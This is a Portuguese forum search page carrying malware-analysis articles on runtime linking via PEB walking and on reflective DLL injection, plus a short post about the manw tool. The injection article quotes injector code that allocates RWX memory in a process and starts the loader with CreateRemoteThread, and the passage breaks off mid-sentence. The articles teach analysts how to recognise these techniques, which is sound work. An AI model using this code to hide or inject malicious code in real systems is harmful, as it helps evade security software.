Jump to content

Search the Community

Showing results for tags 'windows'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Supporter area
    • Tools of the Trade
    • Finance transparency
  • MBConf
    • MBConf v1
    • MBConf v2
    • MBConf v3
  • Mente Binária
    • General
    • Computer Architecture
    • Certifications
    • Quantum computing
    • Cryptography
    • Challenges and CTF
    • Hardware Hacking
    • Electronics
    • Conferences
    • Forensics
    • Games
    • Data privacy and laws
    • Code breaking
    • Networking
    • Pentest
    • Speak to us!
    • Software releases
  • Career
    • Study and profession
    • Jobs
  • Reverse Engineering
    • General
    • Malware Analysis
    • Firmware
    • Linux and UNIX-like
    • Windows
  • Programming
    • Assembly
    • C/C++
    • Python
    • Other languages
  • Operating Systems
    • GNU/Linux and UNIX-like
    • Windows
  • Segurança na Internet's Discussão

Calendars

  • Conferences
  • Call for papers (CFP)

Categories

  • Trainings

Categories

  • Portal Mente Binária
  • Specials

Categories

  • Articles

Categories

  • Contributing

Categories

  • Professions

Categories

  • Tech basics
    • Text comprehension
    • English
    • Mathematics
  • Computing Basics
    • Lógica de Programação
    • Computers Architecture
    • Cryptography
    • Data Structures
    • Network
    • Operating Systems
  • Specifics
    • SO Internals
    • Web
    • Python
    • Javascript
    • Infrastructure
    • Go
    • Reverse Engineering
    • DevOps
    • C/C++
    • Log Analysis

Categories

  • Software

Categories

  • Crackmes
  • Documentation
  • Debuggers
  • PE tools
  • Books
  • Util
  • Packers
  • Unpackers
  • Virtual Machines

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


GitHub


Twitter


LinkedIn


Website

Found 17 results

  1. Introdução No artigo de hoje falaremos sobre uma das técnicas mais utilizadas por malwares: a técnica de “Runtime Linking”. Como as aulas 19 e 20 do nosso curso do AMO já deram uma introdução bem legal sobre o assunto, esse artigo será um complemento e nosso foco será em uma forma mais “crua” e “escondida” de se utilizar/implementar esta técnica que é sem utilizar função alguma da API do Windows. Lembrando que assim como a maioria das técnicas apresentadas nessa série de artigos, a Runtime Linking também pode ser utilizada de forma legítima, o que de fato é bem comum. Definição Tanto a definição quanto a implementação desta técnica acabam sendo tão simples quanto o seu nome. A técnica se resume basicamente em resolver o endereço de uma ou mais funções em tempo de execução. Para criadores de malware, as vantagens de se utilizar esta técnica são duas: evitar que componentes como a tabela de importação deem alguma ideia do que o binário possa fazer e tornar a análise do malware mais difícil. Até aí beleza, isso já foi explicado no curso do AMO, certo? Relembrando um pouco do que foi falado lá no AMO: a função LoadLibrary é utilizada para carregar uma DLL no espaço de endereço de um processo e a função GetProcAddress é utilizada para pegar o endereço de uma função exportada por uma DLL carregada. Considerando binários linkados dinamicamente, o que é super comum no Windows, se essas duas funções forem chamadas diretamente por tal binário, elas estarão presentes em sua tabela de importação e, consequentemente, poderão levantar alguma suspeita em relação à técnica em si sendo utilizada. Para que estas funções não fiquem tão expostas na tabela de importação, elas não podem ser chamadas diretamente via API do Windows, ou seja, o endereço dessas funções precisa ser obtido de alguma forma em tempo de execução a fim de evitar que o loader preencha os endereços destas funções na tabela de importação (IAT) do binário em tempo de carregamento. Até o fim deste artigo veremos que na verdade não precisamos do endereço da função GetProcAddress e às vezes nem mesmo da LoadLibrary, mas vamos ignorar isto por agora. Process Environment Block (PEB) Durante a criação de um processo no Windows, quando ainda em kernel-mode, é criada uma estrutura chamada Process Environment Block, também conhecida como PEB. Por mais que esta estrutura seja criada dentro na system call NtCreateUserProcess (mais especificamente na função MmCreatePeb) e possua informações importantes relacionadas ao processo como um todo, ela é uma das únicas estruturas consideradas “de sistema” que é exposta e disponível em user-mode. Esta exposição em user-mode é devido ao fato que tais informações importantes são utilizadas por diversos componentes que residem em user-mode, tais como o Heap Manager e o Loader em si. Se estes componentes tivessem que acessar tais informações via system calls, seria muito "caro" do ponto de vista de performance. Em user-mode, o endereço desta estrutura pode ser obtido através de um campo chamado ProcessEnvironmentBlock dentro de uma outra estrutura chamada Thread Environment Block (TEB), que possui seu endereço carregado por padrão, para cada thread, no registrador FS em x86 ou GS em x64. Não vamos entrar em detalhes sobre o que é a TEB neste artigo, mas é importante sabermos que no offset 0x30 a partir do endereço no registrador FS (x86) ou 0x60 do registrador GS (x64) obtemos um ponteiro para a PEB. Abaixo estão as definições de ambas as estruturas utilizando o WinDbg em um binário compilado para 64 bits. Não me preocupei em colocar toda a saída do comando aqui, uma vez que são estruturas bem grandes e os campos que nos interessam estão no começo das estruturas: 0:010> dt _TEB +0x000 NtTib : _NT_TIB +0x038 EnvironmentPointer : Ptr64 Void +0x040 ClientId : _CLIENT_ID +0x050 ActiveRpcHandle : Ptr64 Void +0x058 ThreadLocalStoragePointer : Ptr64 Void +0x060 ProcessEnvironmentBlock : Ptr64 _PEB +0x068 LastErrorValue : Uint4B +0x06c CountOfOwnedCriticalSections : Uint4B +0x070 CsrClientThread : Ptr64 Void +0x078 Win32ThreadInfo : Ptr64 Void +0x080 User32Reserved : [26] Uint4B +0x0e8 UserReserved : [5] Uint4B +0x100 WOW32Reserved : Ptr64 Void [...] 0:010> dt _PEB +0x000 InheritedAddressSpace : UChar +0x001 ReadImageFileExecOptions : UChar +0x002 BeingDebugged : UChar +0x003 BitField : UChar +0x003 ImageUsesLargePages : Pos 0, 1 Bit +0x003 IsProtectedProcess : Pos 1, 1 Bit +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit +0x003 IsPackagedProcess : Pos 4, 1 Bit +0x003 IsAppContainer : Pos 5, 1 Bit +0x003 IsProtectedProcessLight : Pos 6, 1 Bit +0x003 IsLongPathAwareProcess : Pos 7, 1 Bit +0x004 Padding0 : [4] UChar +0x008 Mutant : Ptr64 Void +0x010 ImageBaseAddress : Ptr64 Void +0x018 Ldr : Ptr64 _PEB_LDR_DATA +0x020 ProcessParameters : Ptr64 _RTL_USER_PROCESS_PARAMETERS +0x028 SubSystemData : Ptr64 Void +0x030 ProcessHeap : Ptr64 Void +0x038 FastPebLock : Ptr64 _RTL_CRITICAL_SECTION +0x040 AtlThunkSListPtr : Ptr64 _SLIST_HEADER [...] Existem várias formas de se obter o endereço da PEB de um processo na prática, tanto programaticamente quanto utilizando alguma ferramenta. Abaixo estão listados alguns exemplos de como fazer isto: Utilizando as funções intrínsecas readgsqword() e readfsdword(): #if defined(_WIN64) return (PPEB)__readgsqword(0x60); #else return (PPEB)__readfsdword(0x30); Diretamente em Assembly: mov rax, gs:[60h] ; x64 mov eax, fs:[30h] ; x86 Utilizando o comando dump no x64dbg: Utilizando o comando !peb no WinDbg: 0:013> !peb PEB at 00000049bc0a6000 InheritedAddressSpace: No ReadImageFileExecOptions: No BeingDebugged: Yes ImageBaseAddress: 00007ff72dbf0000 NtGlobalFlag: 0 NtGlobalFlag2: 0 Ldr 00007ff8d983a4c0 Ldr.Initialized: Yes Ldr.InInitializationOrderModuleList: 000001c697902a40 . 000001c6979a7f50 Ldr.InLoadOrderModuleList: 000001c697902bb0 . 000001c6979a6fc0 Ldr.InMemoryOrderModuleList: 000001c697902bc0 . 000001c6979a6fd0 Base TimeStamp Module 7ff72dbf0000 4178aed3 Oct 22 03:55:15 2004 C:\windows\system32\notepad.exe 7ff8d96d0000 7b5414ec Jul 26 21:12:28 2035 C:\windows\SYSTEM32\ntdll.dll 7ff8d7ea0000 4e5c27cf Aug 29 20:59:11 2011 C:\windows\System32\KERNEL32.DLL 7ff8d7020000 458acb5b Dec 21 14:58:51 2006 C:\windows\System32\KERNELBASE.dll 7ff8d7d50000 af7f8e80 Apr 21 06:12:32 2063 C:\windows\System32\GDI32.dll [...] Utilizando a ferramenta XNTSV do Hors: Também podemos obter o endereço com as funções RltGetCurrentPeb() ou NtQuerySystemInformation. Enfim, você já viu que jeito tem. 😛 DICA DE ANÁLISE: Sempre que você ver uma das funções citadas acima ou trechos de código que acessem os locais citados (fs:[0x30] em x86, por exemplo) fique atento e tente descobrir o que exatamente está sendo acessado. Como já foi comentado, a PEB possui diversos campos importantes em sua estrutura. Consequentemente, estes campos são acessados com frequência por diversas funções da API do Windows. A título de curiosidade, abaixo estão alguns exemplos (em x64) de funções que consultam campos da PEB diretamente: IsDebuggerPresent: consulta o campo BeingDebugged para saber se o processo está sendo debuggado ou não: GetProcessHeap: obtém um handle para a Heap do processo em questão através do campo ProcessHeap: GetModuleHandle: obtém um “handle” (endereço base, neste caso) do módulo especificado. Caso o parâmetro da função seja zero (perceba a instrução test rcx, rcx a seguir), o endereço base do próprio módulo é obtido através do campo ImageBaseAddress da PEB: Ok, a PEB tem vários campos interessantes, mas qual deles tem a ver com os endereços das funções que queremos? Vamos lá! Loaded Modules Database Resumidamente, no processo de carregamento de um binário PE, uma das tarefas do Loader do Windows é identificar as DLLs das quais o binário depende. Ele faz isso parseando o Import Directory do binário. Caso alguma função pertença à uma DLL que ainda não está carregada em memória, ela é mapeada no processo e suas dependências resolvidas da mesma forma explicada anteriormente: parseando a lista de imports e carregando as devidas DLLs que exportam estes imports até que todas as dependências sejam satisfeitas. Agora pense no seguinte cenário: e se a função LoadLibrary for chamada para carregar uma DLL qualquer em tempo de execução? Como que o loader checa se a DLL em questão já foi carregada? Não seria muito performático fazer tudo de novo. Por estes e outros motivos, o loader precisa de uma forma de controlar o que já foi carregado no processo. Dentro da PEB existe um campo chamado Ldr do tipo PPEB_LDR_DATA e este campo representa o que podemos chamar de “Loaded Modules Database”. Este campo possui três listas duplamente linkadas que contêm informações sobre os módulos já carregados dentro do espaço de endereço de um processo. E por que três listas? No fim das contas todas mostram a mesma coisa, mas são organizadas de formas diferentes, sendo uma organizada de acordo com a ordem de carregamento (InLoadOrderModuleList), outra de acordo com o endereço que o módulo foi mapeado (InMemoryOrderModuleList) e outra via ordem de inicialização (InInitializationOrderModuleList). Segue a estrutura PPEB_LDR_DATA, de acordo com o WinDbg: 0:010> dt _PEB_LDR_DATA ntdll!_PEB_LDR_DATA +0x000 Length : Uint4B +0x004 Initialized : UChar +0x008 SsHandle : Ptr64 Void +0x010 InLoadOrderModuleList : _LIST_ENTRY +0x020 InMemoryOrderModuleList : _LIST_ENTRY +0x030 InInitializationOrderModuleList : _LIST_ENTRY +0x040 EntryInProgress : Ptr64 Void +0x048 ShutdownInProgress : UChar +0x050 ShutdownThreadId : Ptr64 Void [...] Talvez você tenha notado que as três listas mencionadas anteriormente são do tipo LIST_ENTRY e seguem o seguinte formato: typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; struct _LIST_ENTRY *Blink; } LIST_ENTRY, *PLIST_ENTRY, PRLIST_ENTRY; A sacada aqui é que estas estruturas estão contidas dentro de uma estrutura maior chamada LDR_DATA_TABLE_ENTRY (apresentada com mais detalhes em breve). Dentro de cada LDR_DATA_TABLE_ENTRY há um campo também do tipo LIST_ENTRY para cada uma das três listas, onde o campo Blink aponta para a entrada anterior da lista e o campo Flink para a entrada posterior. Quando a entrada atual é igual à primeira entrada, atingimos o fim da lista. *Se você não entendeu muito bem, vale dar uma lida sobre listas duplamente ligadas e na documentação da estrutura. Durante o processo de carregamento, para cada DLL mapeada, o loader adiciona uma entrada do tipo LDR_DATA_TABLE_ENTRY na lista. Quando um módulo é “descarregado”, esta entrada é removida. *Essa inserção e remoção se aplica também quando chamamos funções como LoadLibrary e FreeLibrary, por exemplo. Abaixo são alguns dos campos presentes em cada uma destas entradas do tipo LDR_DATA_TABLE_ENTRY: 0:010> dt _LDR_DATA_TABLE_ENTRY ntdll!_LDR_DATA_TABLE_ENTRY +0x000 InLoadOrderLinks : _LIST_ENTRY +0x010 InMemoryOrderLinks : _LIST_ENTRY +0x020 InInitializationOrderLinks : _LIST_ENTRY +0x030 DllBase : Ptr64 Void +0x038 EntryPoint : Ptr64 Void +0x040 SizeOfImage : Uint4B +0x048 FullDllName : _UNICODE_STRING +0x058 BaseDllName : _UNICODE_STRING +0x068 FlagGroup : [4] UChar +0x068 Flags : Uint4B +0x068 PackagedBinary : Pos 0, 1 Bit +0x068 MarkedForRemoval : Pos 1, 1 Bit +0x068 ImageDll : Pos 2, 1 Bit +0x068 LoadNotificationsSent : Pos 3, 1 Bit +0x068 TelemetryEntryProcessed : Pos 4, 1 Bit +0x068 ProcessStaticImport : Pos 5, 1 Bit [...] Como podemos ver, bastante informação é exposta, incluindo o nome do módulo, o endereço base e o entry point. *Em x86 o campo Ldr fica 0xC bytes de distância do endereço base da PEB. Já x64, essa distância é de 0x18 bytes. Agora que sabemos como o loader controla os módulos carregados e como acessar esta informação, o que nos falta para obter o endereço base dos módulos e suas funções exportadas é codar! Implementação Uma vez que sabemos que é possível obter o endereço base e o nome dos módulos carregados de um processo de forma estável, podemos percorrer esta lista de módulos a fim de obter o endereço base dos módulos que queremos. O trecho de código abaixo é uma demonstração de como poderíamos percorrer essa lista e printar todos os nomes e endereços base dos módulos mapeados dentro do nosso processo: inline PPEB get_peb() { #if defined(_WIN64) return (PPEB)__readgsqword(0x60); #else return (PPEB)__readfsdword(0x30); } int main() { PPEB peb = get_peb(); PLDR_DATA_TABLE_ENTRY current_module = NULL; PLIST_ENTRY current_entry = peb->Ldr->InLoadOrderModuleList.Flink; while (current_entry != &peb->Ldr->InLoadOrderModuleList && current_entry != NULL){ current_module = CONTAINING_RECORD(current_entry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); printf("Module Name: %ls\n", current_module->BaseDllName.Buffer); printf("Module Image Base Address: 0x%p\n", current_module->DllBase); current_entry = current_entry->Flink; } } Com a devida checagem de qual módulo estamos interessados e com seu endereço base em mãos, podemos parsear o módulo como se fosse um binário PE (até porque ele é) e então parsear sua tabela de exportação. Nesta tabela estão localizados todos os nomes/ordinais e endereços das funções que um módulo exporta (já viu onde isso pode dar, né?). Analisando a tabela de exportação da kernel32.dll, por exemplo, podemos obter o endereço da função LoadLibrary em tempo de execução. Ao carregarmos o módulo desejado com a LoadLibrary, podemos parsear a tabela de exportação do módulo e obter a função exportada que quisermos. E não! Não precisamos da GetProcAddress uma vez que já vamos ter acesso ao endereço base de todos os módulos que precisamos e isto é o suficiente para chegarmos até a tabela de exportação. Dependendo das funções nas quais você tem interesse, nem da LoadLibrary você vai precisar, uma vez que, por padrão, é bem provável que módulos comuns como o kernel32.dll, já tenham sido carregados pelo loader no seu processo. *Caso você queira garantir que um módulo específico seja mapeado no seu processo, você pode importar no seu código qualquer função aleatória exportada por tal módulo. Desta forma, você irá forçar o loader a mapeá-lo em tempo de carregamento. DICAS DE ANÁLISE: Não confie 100% na PEB. Quando falo em estabilidade, estou me referindo ao fato dela estar sempre presente na memória do processo e não que seus campos refletem a realidade sempre. Qualquer um que tenha acesso à memória do processo (o próprio malware rodando, por exemplo) pode alterar os campos da PEB. Módulos injetados via Reflective Injection, por exemplo, burlam esta adição na lista de módulos feita pelo loader, como já comentado no nosso artigo anterior. Nunca assuma que um software não utiliza uma determinada função só porque ela não está presente na tabela de importação. Já vimos que isto está bem longe de ser verdade. Colocar breakpoints em funções como LoadLibrary e GetProcAddress, mesmo quando um software utiliza Runtime Linking é uma alternativa interessante. No entanto, não ache que essas funções são sempre necessárias. A ntdll.dll no fim das contas é tudo que você precisa (até porque a LoadLibrary não é quem faz o verdadeiro trabalho, certo? 😉). Lembrando que a ntdll.dll é sempre o primeiro módulo a ser mapeado em um processo e está sempre presente em aplicações em user-mode. Vou deixar a implementação completa como desafio para você que está lendo. Vale também jogar seu binário em um debugger e analisá-lo, passo a passo, para fixar o que foi aprendido neste artigo. Considerações e dicas finais Uma das grandes vantagens de se utilizar a PEB para efetuar diversas atividades é a garantia de que ela sempre estará presente na memória de um processo. Se você leu o artigo anterior desta série, deve lembrar sobre Position Independent Code e o quanto este tipo de estabilidade ajuda em abordagens assim. Em malwares, geralmente a técnica de Runtime Linking é implementada dentro de uma função que retorna o endereço da função desejada. Para estes casos, a forma mais rápida de se descobrir qual função está sendo obtida no momento é debuggar o binário, dar um Step Over sobre a função que obtém o endereço e olhar o valor de retorno (considerando que você não quer investir seu tempo analisando a função que parseia a PEB). No entanto, não espere que isto seja sempre verdade e que a implementação seja tão direta, uma vez que muitas técnicas podem ser utilizadas para tornar a análise mais complexa. Algumas destas técnicas são: Hashing Functions para esconder o nome dos módulos e funções sendo buscadas. Inserção de junk code (trechos de código totalmente irrelevantes) para tornar a análise mais chata e complexa. Execução da função desejada dentro da própria função que parseia a PEB. Inserção dos endereços obtidos em uma tabela similar à Import Address Table (IAT), porém criada e mantida pelo código do malware ou em variáveis globais que serão utilizadas posteriormente. Nos casos 1 e 2, se o endereço da função for retornado pela função que parseia a PEB, independentemente da técnica implementada dentro dela, o endereço da função será retornado e fica fácil identificá-lo. Já para os casos 3 e 4, nenhum endereço será retornado e você precisará analisar a função de parsing da PEB para saber onde estes endereços de funções estão sendo resolvidos. A chave para identificar a técnica de Runtime Linking é ficar atento a padrões, pois por mais que um malware possa implementar técnica X ou Y para esconder a técnica, a PEB ainda precisa ser parseada e a lista de módulos carregados ainda precisa ser obtida. O trecho abaixo é parte de um shellcode gerado pelo framework Cobalt Strike. Este shellcode implementa a técnica de Runtime Linking e utiliza ROR13 como sua hashing function. Note como os padrões de acesso a PEB e a export table dos módulos estão bem claros independente do resto: A imagem abaixo é a visão tanto do código decompilado quanto disassemblado do Ransomware Conti. O padrão a ser notado aqui é o mais comum entre malwares: implementação de uma função que cuida do hashing, do parsing da PEB, e então retorna o endereço da função desejada para ser utilizado posteriormente: Cada caso vai ser um caso e o céu é o limite. No entanto, ao sabermos como o sistema operacional lida com tais componentes e como identificar tais padrões, fica muito mais prático lidar com possíveis variações da técnica. 😊 Espero que tenham gostado do artigo e qualquer dúvida, sugestão ou feedback, é só comentar que estou à disposição. Abs, Leandro
  2. Leandro Fróes

    manw

    Imagina que você tá lá no Linux, macOS ou mesmo no Windows e quer saber quantos são e quais os parâmetros da função, por exemplo, CreatePipe(), da API do Windows. O que você faz? Bom, se estiver num ambiente gráfico, pode buscar na internet, mas no Linux é muito mais rápido usar o man né? Só que o man contém as funções da API do Linux, não do Windows. E agora? Pensando nisso, o @Leandro Fróes implementou o manw. Olha que maravilha: > .\manw64.exe createpipe CreatePipe function (namedpipeapi.h) - Win32 apps Exported by: Kernel32.dll Creates an anonymous pipe, and returns handles to the read and write ends of the pipe. BOOL CreatePipe( [out] PHANDLE hReadPipe, [out] PHANDLE hWritePipe, [in, optional] LPSECURITY_ATTRIBUTES lpPipeAttributes, [in] DWORD nSize ); Return value: If the function succeeds, the return value is nonzero.If the function fails, the return value is zero. Source: https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-createpipe E não para nas funções da API do Windows. É possível buscar uma estrtura por exemplo: > .\manw64.exe -s PROCESS_INFORMATION PROCESS_INFORMATION (processthreadsapi.h) - Win32 apps Contains information about a newly created process and its primary thread. It is used with the CreateProcess, CreateProcessAsUser, CreateProcessWithLogonW, or CreateProcessWithTokenW function. typedef struct _PROCESS_INFORMATION { HANDLE hProcess; HANDLE hThread; DWORD dwProcessId; DWORD dwThreadId; } PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION; Source: https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_information E tem muito mais. 🙂 Código-fonte e releases para vários sistemas operacionais disponíveis no repositório do autor no Github.
  3. Hoje daremos início a uma série de artigos sobre diversos assuntos ligados a Análise de Malware. Nesta série, falaremos sobre diversas técnicas que são/podem ser utilizadas por malwares e também como podemos analisar tais técnicas numa perspectiva de engenharia reversa. A série será dividida em diferentes "tópicos" como, por exemplo, Injeção de código, bypass de X, ou até mesmo algum truque/dica legal que vale um artigo! A postagem dos artigos não irá seguir uma ordem em específico, uma vez que um artigo não dependerá do outro (mas poderão se complementar obviamente). Além disto, para cada artigo serão também apresentadas algumas dicas de análise (dentro do que sei no momento da escrita do artigo, claro) em relação à técnica em si sendo apresentada. Sem mais enrolação, bora pra o que interessa! 😉 Introdução à Injeção de DLLs: Injeção de DLL como um todo é uma abordagem bastante conhecida e utilizada faz uns bons anos por diversos tipos de software, incluindo malwares. Por consequência da grande utilização por criadores de malware, desenvolvedores de software de segurança (e.g. AV/EDR) implementam várias técnicas para tentar impedir tal abordagem. Hoje em dia, num ponto de vista de desenvolvimento de malware, métodos convencionais (LoadLibrary via CreateRemoteThread, por exemplo) simplesmente não são tão viáveis, uma vez que é BEM provável que o software de segurança em questão (caso haja um, claro) implemente algo para lidar com isto, seja fazendo hooking em user-mode, listando os módulos carregados no processo e analisando o binário em disco, checando permissões das páginas para ver se alguma possui ERW, e por aí vai. O ponto é que a ideia como um todo é bem manjada já. Com isto em mente, tanto criadores de malware quanto Red Teamers passaram a criar diversas abordagens (bem criativas por sinal) de se carregar uma DLL no processo alvo e iremos explorar alguns destes métodos nesta série. Reflective DLL Injection: No artigo de hoje falaremos um pouco de uma técnica chamada Reflective DLL Injection, que mesmo sendo meio antiga ainda funciona muito bem e é utilizada não só por malwares, mas também por ferramentas ofensivas como o famoso Cobalt Strike. Criada por Stephen Fewer, esta técnica utiliza o conceito de Programação Reflexiva para cumprir um único objetivo: carregar uma DLL no processo alvo deixando o mínimo de rastros possíveis, isto é, dependendo muito pouco dos recursos do sistema que costumam ser monitorados por softwares de segurança. Este objetivo é alcançado através da implementação de um "Mini loader" em uma função exportada (neste caso chamada "ReflectiveLoader") na própria DLL sendo carregada. Este loader garante que todos os requisitos mínimos exigidos pelo Windows para que a DLL carregada seja um binário válido sejam cumpridos. Antes de começar: Para a explicação ficar de certa forma mais simples e fluída vou explicá-la exatamente como ela foi implementada no código original. Para que a técnica funcione precisamos garantir que atendemos no mínimo 2 coisas: A DLL alvo deve ser carregada/injetada e seus bytes escritos no processo alvo; Todos os requisitos mínimos para tornar esta DLL um binário pronto para ser executado foram atendidos (realocação, tabela de importação, etc). Considerando que a implementação da técnica tem seu código aberto utilizaremos trechos do código original ao longo do artigo. O código é bastante comentado e eu super recomendo a leitura/estudo de tal para qualquer pessoa que queira entender a técnica nos mínimos detalhes. 😃 Inicialização: A forma utilizada para iniciar toda a execução da técnica no código original é através de um "injetor". Este binário é o responsável pelo primeiro requisito mínimo, isto é, obter os bytes da DLL, alocar memória no processo alvo, copiar a DLL para o espaço de memória alocado e passar a execução para a função exportada da DLL da qual garante o segundo requisito mínimo exigido. Para começar precisamos obter os bytes da DLL a ser carregada. No código fonte original, por exemplo, a DLL está escrita em disco e seus bytes são lidos da seguinte forma: hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if( hFile == INVALID_HANDLE_VALUE ) BREAK_WITH_ERROR( "Failed to open the DLL file" ); dwLength = GetFileSize( hFile, NULL ); if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) BREAK_WITH_ERROR( "Failed to get the DLL file size" ); lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); if( !lpBuffer ) BREAK_WITH_ERROR( "Failed to get the DLL file size" ); if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); Em seguida, precisamos obter um handle para o processo que terá a DLL carregada em seu address space. Este handle será passado para a função VirtualAllocEx posteriormente para alocar memória no processo. Para a explicação ficar mais simples, uma vez que não iremos cobrir questões de permissões, tokens, etc, neste artigo vamos assumir que o processo alvo é o processo do próprio injetor, onde seu Process ID (PID) foi obtido utilizando a função GetCurrentProcessId. Ao obtermos o Process ID, os bytes da DLL a ser carregada e seu tamanho podemos inicializar a rotina de injeção da DLL no processo alvo: dwProcessId = GetCurrentProcessId(); [...] hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); if( !hProcess ) BREAK_WITH_ERROR( "Failed to open the target process" ); hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL ); if( !hModule ) BREAK_WITH_ERROR( "Failed to inject the DLL" ); DICAS DE ANÁLISE: Sempre fique atento a funções como CreateFile e OpenProcess, pois estas indicam que provavelmente o arquivo e/ou processo sendo passado como parâmetro será manipulado de alguma forma. No caso de OpenProcess o processo é indicado através do PID e podemos checar qual o nome/full path deste processo buscando pelo PID em questão utilizando diversas ferramentas como Process Explorer, Process Hacker, x64dbg, e por aí vai. Já na CreateFile o full path do arquivo/device é passado como sendo o primeiro parâmetro da função. Tenha em mente que se a DLL não for lida do disco a dica da CreateFile não funcionará, no entanto os bytes ainda assim precisam ser lidos de algum lugar, seja de uma região de memória encriptada, da seção de recursos, etc. Caso você perca a execução destas funções por qualquer motivo podemos ainda assim obter as mesmas informações (isto é, o nome do processo e o full path do arquivo) de funções como VirtualAllocEx, WriteProcessMemory e ReadFile, uma vez que as 3 recebem os handles referentes ao processo alvo e arquivo alvo, respectivamente. Injeção: Como vimos no código acima a função LoadRemoteLibraryR foi chamada passando o Process ID, os bytes da DLL lida e o tamanho do buffer que contém estes bytes da DLL. O objetivo dessa função é: Obter o endereço da função exportada que implementa o loader da nossa DLL; Alocar memória no processo alvo (no próprio injetor no nosso caso) a fim de injetar todo o conteúdo da DLL alvo a ser carregada; Escrever os bytes da DLL no processo alvo, como comentado acima; Executar a função exportada em questão de alguma forma. *Existem diversas formas de se executar funções (que por sua vez podem ser entrypoints, shellcodes, etc) no Windows, desde criando threads até via funções de callback aleatórias que vemos por aí (e vai por mim, o Windows tem MUITAS). O autor da técnica decidiu implementar 2 técnicas a fim de executar a função exportada, são elas ou via CreateRemoteThread passando o endereço da função exportada como "entrypoint" da thread (utilizada no exemplo abaixo) e outra forma via ponteiro de função, que basicamente faz a mesma coisa só que evita a criação de uma thread no processo alvo. A primeira coisa que é feita é tentar achar o endereço da função exportada responsável pelo segundo requisito. Para não poluir muito o artigo não vou colocar o código responsável por esta parte, até porque ele foge um pouco do escopo do artigo. Resumidamente o que é feito ali é o seguinte: É feito um parsing nas estruturas do PE em questão (DLL) até chegar em seu Export Directory. Com ele em mãos 2 tabelas podem ser resgatadas, uma que aponta para o endereço das funções exportadas (AddressOfFunctions) e outra que aponta para os nomes destas funções (AddressOfNames). É feito então um looping que checa o nome de cada função exportada pela DLL e então uma comparação para ver se o nome é o esperado (no nosso caso "ReflectiveLoader"). Se for o caso o RVA (Relative Virtual Address) é obtido através da tabela de endereços acima, convertido para offset e então retornado. Caso nada disso tenha feito sentido aconselho você a dar uma estudada sobre o formato PE. 😃 O injetor então aloca memória suficiente para toda a DLL no processo alvo e então escreve os bytes da DLL no espaço alocado. Depois disto o endereço da função exportada é calculado somando o offset obtido anteriormente com o endereço base, isto é, o valor retornado da função VirtualAllocEx. Para finalizar, o endereço da função é passado como "entrypoint" de uma thread criada no processo alvo: if( !hProcess || !lpBuffer || !dwLength ) break; // check if the library has a ReflectiveLoader... dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); if( !dwReflectiveLoaderOffset ) break; // alloc memory (RWX) in the host process for the image... lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if( !lpRemoteLibraryBuffer ) break; // write the image into the host process... if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) break; // add the offset to ReflectiveLoader() to the remote library address... lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); // create a remote thread in the host process to call the ReflectiveLoader! hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); Até então todas as tarefas foram executadas pelo injetor. A partir de agora, considerando que estamos executando a função exportada da nossa DLL, tudo será feito pela DLL em si. DICA DE ANÁLISE: Funções como VirtualAlloc e VirtualAllocEx retornam o endereço base da região de memória alocada, ou seja, isto é um prato cheio para colocarmos breakpoints nesta região e observarmos como a região é manipulada (o que é escrito lá, por exemplo). É um tanto normal malwares/packers/etc não se preocuparem muito em quais permissões eles dão para as páginas quando alocam memória com VirtualAlloc, por exemplo, e na maioria das vezes utilizam ERW (Execução, Leitura, Escrita, respectivamente). Isto é muito bom tanto para análises manuais quanto de softwares de segurança. No nosso caso podemos ir na aba de "Memory Map" do x64dbg, por exemplo, e buscar por regiões com estas permissões. Bem provável que tem algo interessante lá! Tenha em mente que se as permissões forem alteradas (utilizando VirtualProtect, por exemplo) logo depois que a operação naquela região for feita ficará mais difícil aplicar esta dica. Funções como WriteProcessMemory recebem o buffer contendo os dados a serem escrito no processo como um de seus parâmetros (além de recebem o PID do processo como já mencionado previamente). Podemos ler o endereço deste buffer para checar o que está sendo escrito. Existem casos que várias chamadas à WriteProcessMemory são feitas e os dados são escritos como se fossem blocos e neste caso podemos simplesmente observar o local onde os bytes estão sendo escritos ao invés do buffer em si sendo escrito. Funções como CreateThread e CreateRemoteThread recebem 2 parâmetros importantes, são eles o endereço de uma função que será o "entrypoint" da thread sendo criada e os parâmetros desta função caso haja algum. Sempre fique de olho nestes endereços e na execução destas funções de entrada da thread as controlando com breakpoints, etc. Mini Loader: A forma mais manjada de se carregar uma DLL é utilizando a função LoadLibrary. Até aí tudo bem, no entanto, como mencionado anteriormente, a técnica apresentada neste artigo tenta ser o "mais silenciosa possível" e a utilização desta função pode complicar um pouco as coisas. Um dos problemas é que utilizar a LoadLibrary fará com que a lista de módulos carregados do seu processo seja atualizada com o módulo carregado, isto é, sua DLL, dando acesso a coisas relevantes para um software de segurança como por exemplo o full path, ImageBase e por aí 